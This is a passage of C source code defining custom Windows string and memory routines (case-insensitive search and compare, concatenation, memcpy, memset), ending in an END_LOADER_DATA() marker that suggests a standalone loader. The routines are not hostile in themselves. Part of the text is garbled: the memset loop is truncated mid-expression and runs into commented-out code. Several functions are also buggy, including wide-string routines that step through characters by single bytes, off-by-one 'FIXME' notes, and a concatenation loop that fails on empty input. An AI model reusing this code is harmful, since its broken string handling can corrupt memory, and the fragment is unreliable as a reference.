while(lpStr1[i] != L'\0') i++; return i; } LPSTR __STRSTRI__(__in LPSTR lpStr1, __in LPSTR lpStr2) { CHAR c = __TOLOWER__((lpStr2++)[0]); if (!c) return lpStr1; UINT dwLen = __STRLEN__(lpStr2); do { CHAR sc; do { sc = __TOLOWER__((lpStr1++)[0]); if (!sc) return NULL; } while (sc != c); } while(__STRNCMPI__(lpStr1, lpStr2, dwLen) != 0); return (lpStr1 - 1); // FIXME: -0? } LPWSTR __STRSTRIW__(__in LPWSTR lpStr1, __in LPWSTR lpStr2) { CHAR c = __TOLOWER__(((PCHAR)(lpStr2++))[0]); if (!c) return lpStr1; UINT dwLen = __STRLENW__(lpStr2); do { CHAR sc; do { sc = __TOLOWER__(((PCHAR)(lpStr1)++)[0]); if (!sc) return NULL; } while (sc != c); } while(__STRNCMPIW__(lpStr1, lpStr2, dwLen) != 0); return (lpStr1 - 1); // FIXME -2 ? } INT __STRCMPI__( __in LPSTR lpStr1, __in LPSTR lpStr2) { int v; CHAR c1, c2; do { c1 = *lpStr1++; c2 = *lpStr2++; // The casts are necessary when pStr1 is shorter & char is signed v = (UINT) __TOLOWER__(c1) - (UINT) __TOLOWER__(c2); } while ((v == 0) && (c1 != '\0') && (c2 != '\0') ); return v; } INT __STRNCMPI__( __in LPSTR lpStr1, __in LPSTR lpStr2, __in DWORD dwLen) { int v; CHAR c1, c2; do { dwLen--; c1 = *lpStr1++; c2 = *lpStr2++; /* The casts are necessary when pStr1 is shorter & char is signed */ v = (UINT) __TOLOWER__(c1) - (UINT) __TOLOWER__(c2); } while ((v == 0) && (c1 != '\0') && (c2 != '\0') && dwLen > 0); return v; } INT __STRNCMPIW__( __in LPWSTR lpStr1, __in LPWSTR lpStr2, __in DWORD dwLen) { int v; CHAR c1, c2; do { dwLen--; c1 = ((PCHAR)lpStr1++)[0]; c2 = ((PCHAR)lpStr2++)[0]; /* The casts are necessary when pStr1 is shorter & char is signed */ v = (UINT) __TOLOWER__(c1) - (UINT) __TOLOWER__(c2); } while ((v == 0) && (c1 != 0x0) && (c2 != 0x0) && dwLen > 0); return v; } LPSTR __STRCAT__( __in LPSTR strDest, __in LPSTR strSource) { LPSTR d = strDest; LPSTR s = strSource; while(*d) d++; do { *d++ = *s++; } while(*s); *d = 0x0; return strDest; } LPWSTR __STRCATW__( __in LPWSTR strDest, __in LPWSTR strSource) { LPWSTR d = strDest; LPWSTR s = strSource; while(*d != L'\0') d++; do { *d++ = *s++; } while (*s != L'\0'); *d = L'\0'; return strDest; } LPVOID __MEMCPY__( __in LPVOID lpDst, __in LPVOID lpSrc, __in DWORD dwCount) { LPBYTE s = (LPBYTE) lpSrc; LPBYTE d = (LPBYTE) lpDst; while (dwCount--) *d++ = *s++; return lpDst; } #pragma optimize( "", off ) VOID __MEMSET__(__in LPVOID p, __in CHAR cValue, __in DWORD dwSize) { for (UINT i=0; i 0); return v; } LPSTR __STRSTRI__(__in LPSTR lpStr1, __in LPSTR lpStr2) { CHAR c = __TOLOWER__(*lpStr2++); if (!c) return lpStr1; UINT dwLen = __STRLEN__(lpStr2); do { CHAR sc; do { sc = __TOLOWER__(*lpStr1++); if (!sc) return NULL; } while (sc != c); } while(__STRNCMPI__(lpStr1, lpStr2, dwLen) != 0); return (lpStr1 - 1); } */ VOID END_LOADER_DATA() { return; }; .